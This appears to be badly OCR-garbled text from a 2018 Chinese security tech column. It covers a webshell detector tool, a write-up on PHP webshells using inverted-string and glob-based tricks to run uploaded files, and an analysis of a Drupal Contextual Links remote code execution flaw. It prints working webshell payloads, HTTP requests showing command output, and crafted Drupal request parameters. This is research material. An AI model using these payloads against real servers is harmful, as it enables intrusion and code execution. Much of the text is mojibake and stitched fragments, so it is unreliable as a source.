166 = o if self.config.enableProcessor && processor.Predict() < 0 {-

168 ¥

169 = 0 if self.config.enableSampleMather && isMatchedBySample { =

171 }

172

NTIBDBEESTRETRITIEA SN, ERZRREITFES, FHTE processor NRINEEDEF

43 func (self processor) Predict() float64 { .

44 var inputData = make(map[int]float64, 11) a IMEIFTHAERE

45 for k, v := range self.stat.GetVector() { e SEATISTNE

46 ‘ inputDatalk+1] = v // model start at 1

47 } © BERBREFTINEZRAE

48 o inputDatal9] = self.opSerial.Predict(self.detector.opSerialModel)
49 Q inputData[10] = self.words.Predict(self.detector.wordsModel)

50 _, result := self.detector.processModel.PredictValues(inputData) e
51 return result[@]
52 ¥

ASTWHNBEIS, NBEHEITZIRER, FARAEDHXS Ast #HITED, FREMEREMLERE,

89
90 = func getOpSerial(ast interface{}) (result []1[lint) {=-
144 }

o B 2R ARSI T e

® func cleanOpSerial(data [l1[]lint, maxLen int) [][]int {=-

177 }

178

179 ® func cleanOpSerialRepeatedly(serials =[] []int, cleanTimes, cleanLength int) {-
183 }

184

283

284 ® func checkNameAndKind(ast interface{}, nameChecker func(string) bool, kindChecker func(int) bool) int {=
301 } s : :

302 —RiBAMIEFH (for words predict)

303 ® func (ast ast) GetWordsAndCallable() (words, bool) {-

317 }

316 —RITIFEIRVERED (for callable detect)
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BIRIBHNREIRE N T E R

Detector

GitHub3XBXithik

Http://github.com/chaitin/cloudwalker

MA@ HTML RS

IDetectorton (zsh) X1 ¢ r “ ® @ fie./Usersieyrus/GowebsnelDetectointophun  C | (G &6
Last login: Sat Sep 20 11:43:51 on ttys@eo
cyrusglocalhost ./detector -path ~/GoWebshellDetector/sample/test

i Chaitin CloudWalker Webshell Detector
|
I
L

Report
/0 ¢
00000010 /Users/cyrus/GowebshelDetector/sample/test/Bab6fd32. php .
00000012 /Users/cyrus/GoWebshel IDetector/sample/test/Bc578edb. php Time: 2018-09-29 11:39:46
80006621 /Users/cyrus/GoHebshel IDetector/sample/test/15c3620b. php

90000627 /Users/cyrus/GoWebshel 1Detector/ sample/ test/1a184356. php
0000 sh tor/sample/test/1de39874. php

00000040 /Users/cyrus/GoWebshel 1Detector/sample/ test/29f763ed. php
00000041 /Users/cyrus/GoWebshel IDetector/sample/test/2085cfbd. php
00080043 cyr ¢ sctor/sample/test/2b71c086. php
00000046 /Users/cyrus/Gowebshel IDetector/sample/test/2ce169b7. php
00000074 /Usars/ ,ms,«ruwnum\ncn-nm,<wpwwudlamgu php
00000077 /Users/cyrus/Gowebshel 1Detector/sample/test/4630e127. php
00000089 /Users/cyrus/Gowebshel 1Detector/sample/test/578b2¢41, php
00000 st/Secdbdb2. php
00000111 /Users/cyrus/G ample/ test/69d41e58. php
00000114 /Users/cyrus/GoWebshel IDetector/sample/ test/7240a531 . php
00000117 ,'Uk.m\h‘,‘ru\mm«'hﬂullIlwnum ample/test/T68051a3. php
00000118 /Use shel LDetector/ sample/ test/79d26640. php
00000129 nel 1Detector/sample/test/Bc24619. php
00000132 /Users/cyr neLIDetactor/sample/test/Bef364a7. php
00000133 /Users/ yru\,u:ihln?mlluc ector/sample/t mw 9067 . php
00000137 /U

00000147 /Users/ G / s am st/a54bc389, php
00000153 /Users/cyrus/GoWebshel1Detector/sample/ test/ac1ed569. php
00060156 /Uwr\uwuwu:v«m\N-IIuenumv/\.npllﬂu-w‘.N-ﬂlutwﬂ php
ample/test/b2381c76. php

/test/c19721a5. php

-4

c shel\Detector/sample/ test/cd4bi2e7 . php
00000188 /Users/cyrus/Gowebshel1Detector/sample/ test/cd735fad. php
00000189 /Usars/cyrus/Gowebshel 1Detactor/sample/t 4520365, php
00000195 /Users/cyrus/GowebshelDetector/sample/test/d731251a, php
00000205 s Gowebshel LDatector/ sample/ test,/ded837¢2, php
00000212 /Users/cyrus/Gowebshel1Detector/sample/ test/e51376b8. php
00000215 /Users/cyrus/Gowebshel 1Detector/sample/ test/e71a24d9. php
00000218 /Users/cyrus/Gowebshel1Detector/sample/ test/eab8f163. php
00000223 /Users/cyrus/Gowebshel 1Detector/sample/ test/3ca8fbl. php
00000227 /Users/cyrus/GoWebshel1Detector/sample/ test/6bed102. php
00006231 /Users/cyrus/Gowebshel1Detector/sample/ test/b3a7208. php
00000232 /Users/cyrus/GoWebshel 1Detector/sample/test/fc2a7b19. php
Testing fed752dc.php / 40 risks / Runtime 22.50753517ss

-4

BRRE

2018/09/29 11:45:15 Risk (levell)
ZﬁlB/BQ/'?Q 11:45: wvel2):
;um‘ 9/29 11:45; c (Level3 00000110 I php 4
9/29 11:45:15 Risk (leveld) N
7Fl€|/99«25 11:45:15 Risk (level5): 8 00000113 n T LS
2018/09/29 11:45:15 Detector done (22.568249887s) - — Ll Py
calhost 00000116 AR =

00000117 n .php 3

{ERFRER

o 7 Linux &1THR (WIZAEERE, £ 2.6.32, BUEHETF Go BEAZIFEIZITED FATAL: kernel
too old)

* MacOS B B1T4R1F

* Windows AR
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AT HERT A

FARANEZRETHIRNTXE, SHANERE T XHERER () . ¥TFERs#TEFaN, 8
ENSIEHEREERE., AFPAA -output’ EIUEINE RS HEIXH, HEFRM —htm! EIER HTML X
MR HITEH.

c&r;sélécélh;st ./detector

Chaitin CloudWalker Webshell Detector
[version 1.0.0]

usage: ./detector [options] name ...

-html

Show result as HTML
-output string

Export result to output file
-path

Scan a path (default is file)

FohmiIFERAIE

PRI /php' BRFMIT ‘make” wiF PHP-Ast BT, Z/E# A */bin® BRER "go build’
RERFEN, SRETUEZER NEITAIRTXME.

YW (CloudWalker) A EEETANIPRERSZSRILENHELEFA, EitBERALENKIE
BT, SRECHNEXMERHE—IAEN. MREHTURNZENRE, RAZTELEHBRHEA
2, REMBITNSESBZRSH[ATEE. MM, Webshell B3, ELONESININEE,

Wz (CloudWalker) FERITHIBIERITER. REMNTTREH, FEEEAX, FEEZHRRSSH
¥, HEITELEAERANENEAMNER BT (Cloudwalker)

KERRBE— T KPR FRAXOME L2 W, EURIIFRIE, THR—T:

https://github.com/chaitin/passionfruit EIOSNAFEES DT TE, AJUAKIIRIOSKNBLZEDHT

JUR =

https://github.com/chaitin/yanshi =&t (SafelLine) T—fWebi B RH AiEZ 05| ZEREIR
KBERTEA.
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TR EFEwebshell
Zitem

fE& : PhithOn

ALK [UREEITANRERK] BEARZFRE T — 1, RECHEIT:

T @NERE

XMIB U R Egetshell, BHEFIE?

RAFEERERHEEIN—RNE: (—EAEERFNFEBwebshell) , EENEA T MEHET
FREFHwebshell, EREM T EEZEE:

1H PR
2HAHBEEEE

HAR, KBRS T MRS

1.webshel K E AR #8id 3511
2T ABEEFTEHNE, EEEESSH_

=

ERIFZRE T, RAEAXERLALNMELE, AR TPHPHHNZE, FENZEHRTEN.
B BREFHRE, REHSHTRE. BIlE, RASTRERT, FMURNTTEMEPHPHNEE,

Rl

PRUA,  GNo] g R 8] @R
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PHP7 g B fi# )R (o) &

HAVE LRI Eindex.php®, fAEH{Tdocker run ——rm —p 9090:80 —v “pwd':/var/www/htm|

php:7.2—apache, B&I—"php 7.2098R5528.

KT EHREREE.

KERAREE2018FEENE

Chaitin Tech Column 2018

php7 &N T RIAHATHINIRE : http://php.net/manual/zh/migration70.incompatible.php

NTE
TEIXSKRIIA T X METIRF A9 .

KA

BT ERIEL

B ENERERIEE ™88

B4R R RIA VRO R IB AR IR

PHP 5 BRI A

BMAEZIAIIRTEET, MARZRMERELMEHREGNER.

PHP 7 IR AR

/AT IHRME R A RETIRF B RIHRETS,

$$fool 'bar']['baz']

$foo->$bar[ 'baz"]

$foo

00::$bar['baz']()

->$bar[ 'baz']()

${$fool'bar']['baz']}
$foo->{$bar['baz']}
$foo->{$bar['baz'1}()

0o::{$bar['baz']1}()

PR EREES RRBINEFE (3

BT 5PHP IXMIRTAEEY, RIRIS T 5PHP SxEIEMmESE,

Ho
Acy
Ac

U

A H N\ /\ =h A
PAMREE T, WIE—TEMEMphpinfolX T FRFHMIPHPRIARNEIA . payloadll ™ (RAJLFRFH
urlfgi3Rm;)
(~%8F%97%8F%96%91%99%90)();
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex [ HTML | Render
BET /59e04eda-a0bd-4d2c-a7cb-9dd20d19ec8d.php?code=(~%8F%9788F396891899%90)(); N [a
HTTP/1.1 =
t 675b 661.wln.pu - )
cept-En d ng: gzip, deflate
= PHP Version 7.2.10
ents o 11/50(omptb1'MSIE90desNTGlW&A x64;
Tride t/s 0)
Connectio: close
System Linux 3ba21a87b039 4.10.17-041017-generic #2017|
Build Date Sep 152018 02:48:36
Configure Command /confgure -build=x86_64-linux-musl' '--with-col
W|rh conflg ~file-scan-dir= lusrllocalle(clphp/con
(F
n W|rh curl —-with-| Ilbedll I\:‘a(h openssl -with-2
gi' 'build_:
Server API FPM/FastCGl
Virtual Directory Support disabled

PHP7RIZ A1 ($a)();1X
BUEIE ('phpinfo’)(); SEHATERIER,

P —

'fj—E 7on K|

PRI RS

(Foo:

($$foo)['bar'1['baz']
($foo->$bar)['baz']
($foo->$bar)['baz'1()
:$bar)['baz']()

RER) . XEESHBER

#ERHE@leavesongs.com

AR, BPHP7HEIN T IR FF, PREA, AR
B MESHAIMUZERPHPRIEAR,

Configuration File (php.ini) Path

Jusr/local/etc/php

Loaded Configuration File

(none)

Scan this dir for additional .ini files

/usr/local/etc/php/conf.d ERIRGleave
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PHPS5H) B &

F{EAdocker run ——rm —p 9090:80 —v “pwd':/var/www/html| php:5.6-apach3&iz{T—"php5.6
BIwWebIfiE,

RS, FAIZIHAPHP7Mpayload, RFREE—1HIR:

Request Response

| Raw | Params | Headers | Hex EE Headers | Hex

GET /index.php?code=(~$8F%9728F%96891%99890)(); HTTP/1.1 2 HTTP/1.1 200 OK

Ho\ 90 Date: Fri, 05 Oct 2018 19:50:56 GMT
Ac gzip, deflate er Apache/2.4.25 (Debian)

Ac /% By: PHP/5.6.38

Ac nguage: en ar: pt-Encoding

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; ontent-Length: 134

Trident/5.0) onnection: close

Connection: close ontent-Type: text/html; charset=UTF-8
| <br />

<b>Pars ected '(' in <b>/var/www/html/index.php(10)

e error</b>: syntax error, unexpec
eval()'d code</b> on line <b>1</b><br />

[REFZphpSH N ZIFRIMRIAT T

AHEMRERE R B FRORME, HLEBEMCQBPHPSERIREIE, EREBEERRE, MMU%
BTN, ERx EBEMFERR, RNSRREEE—TRONE, (MBEH#HSAR; SMAKR
BWRERFRR, BN mE.,

SR, BRBENDENEZAZE—, AT —ERALRAHER, HHLMESIET .

REDESH A ERBAENEEES, —[E2ENESOATENRFEAZHTRE. RIFAZERS
MRBEENMTIIEME shell (RFADL) "M XHRE, READSREEIHRTINT XM IMIEE.

PHPEAEEBMBRIERARHITRE, "R358 MEPHPHRERMNMNITshelllO5E. B4, EER
PHPI AR BAIER T, MAALEER“RSIS"+“shell” 95 = Kgetshelllg?

PHP5+shell3T i 22 5

AARSISEARABT“FR". “BF", AUABNTURTRAESS, BOBRT: WEMBLEFESE.
. S ARG L FKgetshell?

il

FEREEXEETRR: TFE. 8F. §, Eshell P PRR— T,
LR AR T’ DA EAILINUX shellZ1IR =

1.shell N AR A SRHAT ERHIA
2.LinuxX 432 32 ¥5 FglobBECAF U

F—REE (NEREENILEFRIEL) B0 —/A, BRI, sENUperiod, EMIERFsource
—, MEAHAIMNshel AT —PXXEFHHS ., thal, HElaiTHIshellZbash, M. filelIE B EHBbash
HAThle X IHm <,

. filefTX, BAFBENBEIRN. 24, MRERRS LA —THATFIEEIXHE, BRI
MUF A RNITE TI5?
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RPN XHMREFER], FAPTURRE—D LEXHRNPOSTE, RPHPER I EENX G RERE IR
B SCHESET, BRIARISTHE R Z/tmp/phpXXXXXX, XHBRETFHEMNNANEFE,

BMWBIRIEME, 1T, /tmp/phpXXXXXX, thE2BFER, MR AR EILinux N AYglob@ES T :

o A URBOT MU LEEFRF
o 2R MKRINMERFR

root@6lcdc27e7faf:/tmp# . /?72/7272727777
bash: .: /bin/run-parts: cannot execute binary file
root@6lcdc27e7faf : /tmp#

XEER, BEUBILEC L/?77/2?2?2722?277 X NBEC R AINHBRE, FATAI ATk

root@6lcdc27e7faf:/tmp# 1s /272/7772727277
/bin/run-parts /etc/issue.net /etc/securetty
/etc/host.conf /etc/localtime /tmp/phpcjgglLC

/etc/profile.d:
root@lcdc27e7faf : /tmp#

A0, HMNERITH/tmp/phpcjggl CHIERIRRE — U, A, ERITHE—TLELAXHE (B
/bin/run—parts) RRMEFIBZ LI T IR, SHEDREEL, REAFIHATRIZN LENSUE,

BRXBATER, 8RHEKRE,

REBDEZEN T BECRF, FIERIERERE*M?, BEFF L, HERELInuxAISAE ( http://man7.org/li-
nux/man-pages/man7/glob.7.html ) , FTUZHEZHEBNFIR S,

B, globX 35BN ERME X MIETEF/X . BB4, BAITRRXNESBF1/bin/run—parts:

/etc/host.conf /etc/issue.net /etc/localtime /etc/securetty /tmp/phpcjggLC

/etc/profile.d:
root@6lcdc27e7faf : /tmp#

HIBR T B4 FRR-HIXMG, RFRAT UHRE S 8934

root@6lcdc27e7faf:/tmp# 1s /222/222[A-1[A.J[A.]?2[A.]7?
/etc/localtime /etc/securetty /tmp/phpcjgglC

root@6lcdc27e7faf: /tmp# |

REMMRE="XHT . BERMNZEATHOXXHDRAERRE, ERRIX =142 PEHNESHH
FH, BAXPHENFTTRT

LR IEglobIEE ), HARIAS— T EBEHRE:
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Ranges

There is one special convention: two characters separated by '-'
denote a range. (Thus, "[A-Fa-f(0-9]" 1s eguivalent to

" [ABCDEFabcdef0123456789]".) One may include '-' in its literal
meaning by making it the first or last character between the
brackets. (Thus, "[]-]" matches just the two characters ']' and '-',

and "[--0]" matches the three characters '-', '.', '0', &i;Ze )
cannot be matched.) IR Steaussonys.com

FUERIENZRIATVRM, glob>F5AIABI0-9 kKR TR—TEHE.

BAIBHREE 2SR RE T A 189

root@6lcdc27e7faf:/tmp# 1s /?72/222777777
/bin/run-parts /etc/issue.net /etc/securetty
/etc/host.conf /etc/localtime /tmp/phpcjgglLC

/etc/profile.d:
root@6lcdc27e7faf : /tmp#

PBEXHRERNE, REPHPERNERNXAHEEREFE., IBABRMHFZRET, BIRELRS—
PAIURT REFRMIglobBERS, #AEEER BT ERITAIX M,

#ffasciifd®, AIRAREFR{IT@5[ZE):

ASCIHE | 1ZHIFR
64 @

65 A
66 B
67 C
68 D
69 E
70 F
71 G
72 H
73 |
74 J
75 K
76 L
77 M
78 N
79 o
80 P
81 Q
82 R
83 S
84 T
85 U
86 \
87 W
88 X
89 Y
90 z
FhiTmCleavd

WA, BATFIUAABI@-[RERTAEFE:

/tmp/phpcjgglLC
root@1cdc27e7faf : /tmp# ||

125



KERARER2018FEETE

Chaitin Tech Column 2018

WIEPOC, HITERWS

SR, phpEAEN XHERZEENN, RE—TFHA—ERREFE, AIZ2W/URBHITT .,

Request Response
Params | Headers | Hex Headers | Hex

POST /index.php?code=2?><?= .+/$3£%3£%3£/%$3£83£%3£83£%3£83£%3£83£(840-[] $3b2> N HTTP/1.1 200 OK
HTTP/1.1 > Date: Fri, 05 Oct 2018 20:49:58 GMT
Host: localhost:9090 Server: Apache/2.4.25 (Debian)
Accept-Encoding: gzip, deflate X-Powered-By: PHP/5.6.38
Accept: */* Content-Length: 54
Accept-Language: en Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Content-Type: text/html; charset=UTF-8
Trident/5.0)
Connection: close uid=33( data) gid=33( data) groups=33( data)
Content-Type: multipart/form-data; boundary=-------- 253975810
Content-Length: 126
---------- 253975810
Content-Disposition: form-data; name="file"; filename="1.txt"
#!/bin/sh
id

--253975810--

HWRIBCleavesongs.com

RINHATIER S .
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Drupal Contextual
Link RCE

E&: x0z3y

0x00 SZ 14k

eEHTE: https://www.drupal.org/sa-core-2018-006
ecommit: https://github.com/drupal/drupal/commit/c8f0c39cad88cc29ed575b61c0acf45845d8efedttdiff—
483e0dea92d8dbcaf8024c4a621b9efbR374

0x01 IS

10 B 17 H, Drupal EARHREEH SA-CORE-2018-006 , {827 5 M L&®E, HPEHE 2 S
feimEM 3 TofEimE. 2 2 M erimEnaiCRiTiRE.

XEXTHEA Drupal 8 Contextual Links J&1E[Q)RESEURFE RS HITHYREH1TEN

*E?EEE;E;E ﬁgiﬁl EH ?%IC%D iZ;Fﬁ fﬁaﬁﬁ:ﬁ% Contextual Links validation - Critical - Remote Code Execution - Drupal 8
H = The Contextual Links module doesn't sufficiently validate the requested contextual
B Contextual Links IRAIMNER, HEBT 7.7

This vulnerability is mitigated by the fact that an attacker must have “Uﬂ"‘e@"“l

Rjiﬁ*ﬂ"] | IﬂkSﬁRE?E;G E"]gﬁ‘ﬁE%—é&T rce o the permission "access contextual links" T

BFEcommitRNE, MU TRENREAD

% 0o 360,14 361,18 08 public Tunction testBlecACantestudllisksi] {

Sthis->drupalGet('test-page’); $thiv-sdrupalGet |’ test-page’);

$id = ‘blockiblocks' . sblock-=idl) . $id » "block:blocks’ . sblock-»ie() .
' ity.vime, edit_ view_block: Locat "1 Lange yoview, gt _view block: lecat iomeblochbnament
est_view b _idetlock, H t_view _ideglach_1&

) $1d_token = Crypt:ibmacBavei(sid, mn-.i igmtMashsalei) . $this-
thl‘wnuh_br 1-ogetill;
a scached_id = ‘blockiblocks' . $cached_block-=idl) | wched_id = ‘blockzblocks' . $cached_block-=idi) .

" 1 Lang Jentity. view. sait_| _view_block: Locat “ 1 Langy ity view. edin_| _visw_Blocki Incat Lonst Lochknaneet
st _view, Lay_ideblock_151 ] st _view | Ad=hlack_ [
M s Scached_id_token » Crypll hescBaseBdlScached_id, Setlings::getMashsalti)
« $this-~container-getl 'private_hey' |-rgetil);
I/ see /f .
\Drupslyeontestuaih Testa\ConteatualDynasicConteatTest aspertContentus i inkP Lac \Rrupalicontestuali Tests\ContestoaiOynanictantent Test assertContentioa L 1anP lag
eHoLderi) ealdari)

s - Sthis—asserthawl ‘adiv' . new Attribute(|'data-contextual-id’' « $i1d)) . 000 « Sthis-cassertRoul ‘adiv' . new Attribstel ' date-contestual-id' < fidyl
Pmajdive’, format_stringl‘Contextual Link placesolder with id @id exists,’, Sdata-contoxtul-token" = Sld teken] ) . ‘s<idive’, format_strisgl‘Centextusl
"o = $ia})); Link placehslder with 1 gid exists.’, ['gid" = s19l));

»e - Sthis-casserthawl sdiv' . new Attribute(] data-contextual-id" = N . Sthis--ansertheml ‘<div' . sew Attributedl ["data-contextual-id’
Scached_idl) . ‘=</dive’, format_stringl'Contextual Link mnmar with 1d mlmn et
#id enists. ', ["gid’ = kulﬂ_u!lll format_stringl “Contentual Link placebolder with 1d @id exists.’, [* .Il -

seacned_1al )i
/f Get server-rendered contextual Links. 7} Get server-rendered contextual Links,
/f see 11 waee
\DrupaticontestusliTests\ContextuntOynamicContent Test s rlmr(u«m“unlunh!l \Drupalicontentusl\Tests\Conten tus Loynemictontest Test; ronderContentus il taky (|}
e - spest = ["ids(0]l® = sid, ‘agsill* = Scached idl: N« spost = ["idsi0]" = sig, ‘aesiil’ = scached_i0, ‘tokens(e]’ =
$id_token, tokens[1]' w Scached_id_token] ;
Srl = ' contextes IRGRGRR?. formate) son, 0est inat Lonetest-page § Surl = Lirender?_f ﬂ—*l.-nu—-flut—pm
Sthis-sgetSession|)-=gatDriver()->getClient()-srequest(‘POST", furl, sthis- -gnm:mu-:mwxuru-mﬂunul- et
1 spost) i i (-) 1B e=
Sthis—>asserthesponsel 200); Sthis-rassertResponse(209); =T
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0x02 IFIEFEE

BT N A LB IFdrupal 8.5.2kk A,

git clone -b 8.5.2 https://github.com/drupal /drupal

curl -s https://getcomposer.org/installer | /usr/local/Cellar/php70/7.0.31/bin/php
/usr/local/Cellar/php70/7.0.31/bin/php composer.phar install
/usr/local/Cellar/php70/7.0.31/bin/php composer.phar dump-autcload

BRI RE R B RE MRS /AN Contextual Links &IRINR, ZEREIKS,

A T
PERMISSION NONYMOUS  AUTHINTICATED

prisy et ADMINISTRATOR

Contestual Links

0x03 I 1

fo & 4F  burpsuite/m, 1A8) ETTRIHMEREIL FEK,

£ core/modules/contextual/src/ContextualController.php B render R HIE FTR, FRERBUT

ids WA: ids[]=block:block=bartik_footer:langcode=en|menu:menu=footer:langcode=en
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Hrh #contextual_links JE&@id _contextual_id_to_links($id) BREGEEL , REASTUT:

<?php
function contextual id to links($id) {
Scontextual links = [];
Scontexts = explode('|', $id):
foreach ($contexts as Scontext) {
list{Sgroup, Sroute parameters raw, Smetadata raw) = explode(':', Scontext);
parse_str(S$route parameters raw, Sroute parameters);
Smetadata = [];
parse str(Smetadata raw, Smetadata);
Scontextual links[S$group] = [
'route parameters' => Sroute parameters,
'metadata’ => Smetadata,
I
}

return Scontextual links;

ZRBBESE $id WREET | iy, HEBT : DEIETE $group, $route_parameters_raw, $meta—
data_raw, Zf5 $route_parameters_raw, $metadata_raw JEEEIT parse_str fEITHTE, HRAMMELS

$contextual_links[$group]

$id = Diock binck = baruk_footes ARgLode < en|meny meny=looter

XY ids NEBYEEZE:  ids[]=block:block=bartik_footer:langcode=en

S contextual_links = {array] [1]
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2 Ei#N renderRoot

PrEFIRH executelnRenderContext FREY, EHAE $this—>render($elements, TRUE) &9 B8 R ER

v Selements = [array) [2]
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$this—>render HFZFEF N doRender K,

Renderer.p Drupal| Core |Render| Renderer- > doRender()

Z A2 $this—>elementinfo->getinfo KL,

XEFBEIEIN—LEHEME,
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Hi N7 #pre_render S NFRLME preRenderlinks

$Scallable: {"Drupalicontextual|Element|Contextuallinks"

HehiE# $contextual_links_manager—>getContextuallLinksArrayByGroup

Sargs = [array] [2]

XEBBEEY $group_name 7 $this—>pluginsByGroup #1T—NLEIEZER, X EILECRINE NS EEEIMA,
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BEXEHTHREER, MEREDENRELEME, S links BENZ,

M Selement['#links'] thRZ, ZEFN alter, XBERIMABT TR, TEXTHEM $function($data,

$contextl, $context?);
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B RiER contextual_contextual_links_view_alter 1 views_ui_contextual_links_view_alter

Hr contextual_contextual_links_view_alter {$R2a0 T :

Selement = {array} [9]

ANER, HEFHE Selement['#contextual_links']['contextual']l) B, &4 Selement['#contextu—
al_links']['contextual'l'metadata']'contextual-views—field—links'] RAM{EL $Selement['#links'], IXHH
FEHATR $element['#contextual_links'I['contextual']) S8 HIRE, FrlA $element['#links'] MkIBNZ, B2
XE D HATE AN,

ZEHITRREEE] 2R, BT $element['#links'] A=, MIKE $element[#printed'] = TRUE;

selement: {#type => "contextual_links", #contextual_
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Selements = {array)} [10]

Request
POST /contextual/render NTTP/1.1 & T 1.1 100 o
Host: www.esamg ; 0 - ¥ -Junp e.con: §0
Content-Leng a nt ne
Aocept appl =1 A Fo --nu n Ml S
Origin h C i1 ate
A-Regques
Uaar -Ag 10_14_0) AppleWebXit/317,38

[ EHTH « 38

n '\Il‘l! =UTr-8
Cookie: has I:"I
SESS ?‘hllﬂx‘dlhldh.ﬂ!‘ﬂﬂ%ﬁdl'ﬂ.‘d]".‘lI-\-III'J.'- apnod scEAGQBONCLENNDIGAREY varys
Drupal . lm)lhtl‘ collapsed=06; EDEBUC BESSION-FHFS I-Canera Brwp. § (hiip www .dropal .org)
S i - i's x:b cE=bar k ore L ey NN iy
idsVviBvib=block:block=bartik_footer:langcode=en| —e
0x04 1#=#l $element['ttlinks'] &

FAEA TR @R E  $element]'ttcontextual_links']['contextual']) LA $element['#tcontextual_links']['con—

textual''metadata'l'contextual-views—field—links'] (R Selement'#tlinks'] AN ZE

SJBB #contextual_links FZEH TN, FHH $element['#tcontextual_links']['contextual']'metada—

ta']['contextual-views—field—links'] &4 json 1&=,, HFEHBRTSET : #HITHRDFAN - HT RS,

8% ids[]=contextual:block=bartik_footer:contextual-views—field—links={"aaa" %253A "bbb"}

block:block=bartik footer:langcode=en

block: => contextual:
langcode=en => contextual-views-field-links={"aaa" %253A "bbb"}

BINMEE $element] '#links']
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0x05 F#imEflA =
$element['#links'] BAFIZEBREBMLMELE —EREEE, HE7E doRender REAEHIRBALAL <.

T Z Bildrupal drupalgeddoni®i@RIEZ M IZSAE, MR $elements AL S, FETIRE
$elements['#pre_render'] 3kff/& call_user_func JAFIRCEMBER, XEMEMEIZREHEETZIMSE
SR,

WEEE, IR $this—>theme—>render

#theme = "links__contextual®

ST —RYEBRIR B MORBRA TERL, EH $variables[links] J9F( AT,

IR E AR template_preprocess_links K&, ZHABUT:
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<?php

function template preprocess links(&Svariables) {
$links = Swvariables['links'];

if (lempty($links)) {

Svariables['links'] = [];
foreach ($links as $key => $link) {
§item = [];
51link += |
'ajax' => NULL,
‘url® => NULL,

$1i_attributes = [];
Skeys = ['title', 'url'];
§link element = |
‘#type' => 'link',
'#ritle' => Slink['title'],
'#options' => array diff key($link, array combine($keys, Skeys)),
‘#Furl' => Slink['url'],
'#ajax' => Slink['ajax'],
1:
if (isset(S5link['url'])) {

Sitem[ "link'] = $link element;
// Handle title-only text items.
Sitem[ "text'] = Slink['title']:

if (isset($1link['attributes'])) {
Sitem[ 'text attributes’'] = new Attribute($link['attributes']};

// Handle list item attributes.
$item| 'attributes’] = new Attribute($li_attributes);

// Add the item to the list of links.
Svariables['links'][$key] = $item:
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Hr $link_element @17 $link TEHTIRE, AJABRFANTAIEHIEAR #title, #options, #url Ak
fajax T8, XBERFEBHN {"aaa":"bbb"} , FFLA "bbb" TAHESEERES.

B —TMEI#ESEL contextual-views—field—links RAA :

{"aaa"%253A{"url"%253A"1111", "title"¥253A "2222", "ajox"¥253Atrue, "attributes" ¥253A

BINEE $link_element &,




Slink: {url == "1111", title => "22

REIRELR T Svariables['links']

Svariables = (array) [14)

¥
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GFOXIBCazhaeDALCHAVYCNFIGUAD G- BknVBORNGE.php 41, _ TwigTemplate_ece(2 Dc i 846 27e9ac8a6b102 Sdd0S4d S daedd >

$context BT

Z iR T

<?php
Scontext[' seq'] = twig_ensure traversable(($context["links"] 2?? null));
foreach ($context[' seq'] as $context[" _key"] => Scontext["item"]) {
if (Sthis->getAttribute($context["item"], "link", array(})) {
escapeFilter($this->env, S$Sthis->getAttribute($context["item"], "link",
array()), "html", null, true);
} elseif (S$this->getAttribute(S$context["item"], "text attributes", array())) {
escapeFilter($this->env, S$this->getAttribute($context["item"],
"text attributes", array()), "html", null, true);

escapeFilter(Sthis->env, S$this->getAttribute(Scontext["item"], "text",

array()), "html", null, true);
} else {
escapeFilter($this->env, S$this->getAttribute($context["item"], "text",
array()), "html", null, true);
}
]
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B Scontext['links"] MR{EZ:  Scontext['_seq'], E&EBMHBEXNHIRIEEDBEESENAYE M (links,
text_attributes) A RBMEKMFIEDH, EETRENEMEEL escapeFilter BREN,

XEBTEE link B, BMEE $context["item"]["link"]

link = {array} [5]

2 [EER# escapeFilter, ZREKEY $arg TEXEFIROARFMIE,

<?php
public function escapeFilter(\Twig_Environment $env, $arg, $strategy = 'html', $charset =
NULL, $autoescape = FALSE) {
// Check for a numeric zero int or float.
if ($arg === 0 || Sarg === 0.0) {
return 0:
3
// Return early for NULL and empty arrays.
if ($arg == NULL) {
return NULL;

// Eeep Twig Markup objects intact to support autoescaping.

if ($autoescape && ($arg instanceof \Twig Markup || $arg instanceof MarkupInterface))

return $arg;

$return = NULL;

if (is_scalar($arg)) {
$return = (string) Sarg;
}
elseif (is_object($arg)) {
if ($arg instanceof RenderableInterface) {
Sarg = Sarg->toRenderable();

}

elseif (method exists($arg, ' toString')) {
$return = (string) $arg;

}

elseif (method exists($arg, 'toString')) {

Sreturn = Sarg->toString();

}
else {
throw new \Exception('Object of type ' . get class($arg) . ' cannot be printed.');
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// We have a string or an object converted to a string: Autoescape it!

if (isset($return)) {
if (Sautocescape && Sreturn instanceof MarkupInterface) {

return Sreturn;

}

if ($strategy == 'html') {
return Html::escape($return);
}
return twig_escape filter(Senv, $return, $strategy, $charset, $autoescape);
¥
if (isset(Sarg['#printed’']) && Sarg['#printed'] == TRUE && isset(Sarg[ '#markup']) &&

strlen($arg[ '#markup']) > 0) {
return $arg[ '#markup’'];

}
$arg[ '#printed'] = FALSE;
return $this->renderer->render($arg);

}

ZARWBHRE AESR), ENSarghEieE, Frldis_scalar($arg)=false, {£15$return=NULL, MHNZEH

$this—>renderer—>render($arg)

Sarg = {array} [6]

$this—>renderer—>render Bl N#EAY doRender

v Selements = {array] [6]

P4 E 8140 Scontext["item"] HIBMEESIEIRL doRender FE, REZLIRHEMENSENFEH
doRender H#HY $elements L&, MMIAZIRCEMNER, BEXEEEMNZ link B, HATERIE,

EIRIRIE if ZEHE, WRAES links BHENRMEGSEE text BIE, T text BHEERTTERIE,
PRARIIAFIA text RIEFEEIrcelIH A,
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<?php
Scontext[' seq'] = twig ensure traversable{ ($context["links"] ?? null));

foreach ($context[' seq'] as $context["_key"] => $context["item"]) {

if ($this->getAttribute($context["item"], "link", array())) {
escapeFilter($this->env, Sthis->getAttribute(Scontext["item"], "link",
array(}), "html", null, true);
} elseif ($this->getAttribute($context["item"], "text attributes", array())) {

escapeFilter($this->env, $this->getAttribute($context["item"],
"text_attributes”, array()), "html", null, truej};

escapeFilter($this->env, S$this->getAttribute(Scontext["item"], "text",
array()), "html", null, true);

} else {
escapeFilter($this->env, $this->getAttribute($context["item"], "text",

array()), "html", null, truej;

}

FRFEFIRE link BMFE template_preprocess_links RREFRAEER], ZH®E url B, BASRE
Sitem['link']

url = "1111"*

PRI R BMIERIERSEL idsl] FRY url B3 BIR], FHEXS title ERBEBNENA:
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ids[ ]=contextual:block=bartik footer:contextual-views-field-links=
{"aaa"%3A{"url"%3A"1111", "title"%3AR "2222", "ajax"%3Atrue, "attributes" %3A {"bbb" %3A
"333"}})

ids%5B%5D=contextual:block=bartik footer:contextual-views-field-links=
